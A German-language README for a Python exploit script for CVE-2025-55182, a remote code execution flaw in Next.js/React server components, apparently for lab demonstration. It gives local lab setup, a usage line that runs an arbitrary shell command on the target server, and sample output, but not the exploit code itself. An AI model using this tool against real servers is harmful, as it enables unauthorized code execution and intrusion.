CVE-2025-55182 Python Exploit

Python 3-Skript, das verwendet werden kann, um CVE-2025-55182 zu demonstrieren. Es nutzt eine serverseitige JavaScript-Injection-Schwachstelle in Next.js/React-Anwendungen aus, die Remote Code Execution über fehlerhafte Multipart-Formulardaten ermöglicht.

⚠️ Nur für Bildungszwecke und autorisierte Tests.

Lab-Einrichtung

Von https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

npx [email protected] sample-app --yes
cd sample app
npm run build
npm run start

🚀 Verwendung

🔧 Voraussetzungen

pip install requests

Beispielnutzung

python3 exploit_cve_2025_55182.py -u http://localhost:3000 -c "id"

Optionen

-u Ziel-Domain oder IP mit Protokoll - http://localhost:3000 -c Befehl, der auf dem Server ausgeführt werden soll - id

Beispielausgabe

[+] Sending exploit to http://localhost:3000 with command: id
[+] Command Result:
uid=1000(app) gid=1000(app) groups=1000(app)

Referenz

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/